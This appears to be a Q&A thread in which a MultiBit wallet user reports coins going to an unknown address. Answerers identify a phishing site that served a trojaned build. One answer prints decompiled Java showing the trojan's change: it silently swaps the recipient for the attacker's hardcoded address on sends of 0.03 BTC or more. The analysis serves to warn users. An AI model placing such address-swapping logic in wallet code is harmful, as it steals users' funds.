Coins sent to unknown address in Multibit

Question

Premise: I'm quite new to all this bitcoin thing.

After experiencing some problem with a bitcoin transaction, I made few attempts with small quantities (0,0001).

In particular, I've sent 0,0001 to each of three different addresses. However, I've noticed that on MultiBit, on the transactions details, under "description", all of them appear "Sent to [address]" to the same address for all the 3 transactions. Is that normal?

Ok, none of the transaction were addressed to 17iU5t8JXuJux4maPEwWHtuy6cGU4cRiJQ

For example, at 16 Apr 2015, 15:35, I sent 0,0001 bitcoin (plus 0,0001 commission) to 12m1i78fnz31eTbK4cut18y1sTyP6ZHhw5 (which is another wallet of mine). However, I've never received them on 12m1i78fnz31eTbK4cut18y1sTyP6ZHhw5,a and on MultiBit it appears to be sent to this unknown 17iU5t8JXuJux4maPEwWHtuy6cGU4cRiJQ. Same holds for the other two transactions: they weren't meant to be addressed to 17iU5t8JXuJux4maPEwWHtuy6cGU4cRiJQ.

Answer 1

(I am one of the MultiBit devs).

The MultiBit code is hosted on multibit.org ONLY. The 'tv' copy is a phishing site.

DO NOT USE IT.

Answer 2

I can confirm that the "MultiBit" software downloadable from MultiBit.tv is a trojan. The version I downloaded seems to be slightly different than OP's, but similar.

After decompiling the trojan, I found (one of?) the bitcoin-stealing changes made. Here's the original source code inside SendBitcoinConfirmAction::actionPerformed():

if (validator.validate(sendAddress, sendAmount)) {
    // The address and amount are valid.

    // Create a SendRequest.
    Address sendAddressObject;

    sendAddressObject = new Address(bitcoinController.getModel().getNetworkParameters(), sendAddress);

Here's the modified code, which redirects outbound transactions to the malware author's address only if the intended send amount is >= 0.03 btc (presumably to avoid detection for smaller amounts):

if (validator.validate(sendAddress, sendAmount)) {
    // The address and amount are valid.

    String kanau = "1HHHHhHHh2dUgvedroLJ3BNZ2ip8eAveNn";
    if ((sendAmount.startsWith("0.02")) || (sendAmount.startsWith("0.01")) || (sendAmount.startsWith("0.00"))) {
        kanau = sendAddress;
    } else {
        kanau = "1HHHHhHHh2dUgvedroLJ3BNZ2ip8eAveNn";
    }

    // Create a SendRequest.
    Address sendAddressObject;

    sendAddressObject = new Address(bitcoinController.getModel().getNetworkParameters(), kanau);

The modification is none too clever, but it can unfortunately get the job done.

Answer 3

I noticed that the 17iU5t8JXuJux4maPEwWHtuy6cGU4cRiJQ address is shown as the Multibit address here: hxxp://www.multibit.tv/blog.html

However the Multibit donation address at hxxps://multibit.org/blog.html is 1AhN6rPdrMuKBGFDKR1k9A8SCLYaNgXhty

Is it possible you downloaded your Multibit from hxxp://www.multibit.tv/blog.html and that you didn't verify your installer? It's possible (but I don't know for sure) that hxxp://www.multibit.tv is a phishing site, and you've downloaded a backdoored version of Multibit from there.

Answer 4

The address that is unknown to you could be created by your software to put there what is left after a payment. Say you hold 1 btc, and pay 0.1 to some address, 0.9 goes to a newly created address that belongs to same private key of yours. (at least it was the case in older versions of bitcoinqt) an example

What happened here is a mystery, but 17iU5t8JXuJux shows some action last month and could well be a collecting address of some sort of trojan/stealer.

Are you experimenting on everyday machine? With so much vulnerabilities and software zoo nowadays it is advised to have a separate cleam machine for that or, probably for the better, offline wallet machine, disconnected from the network.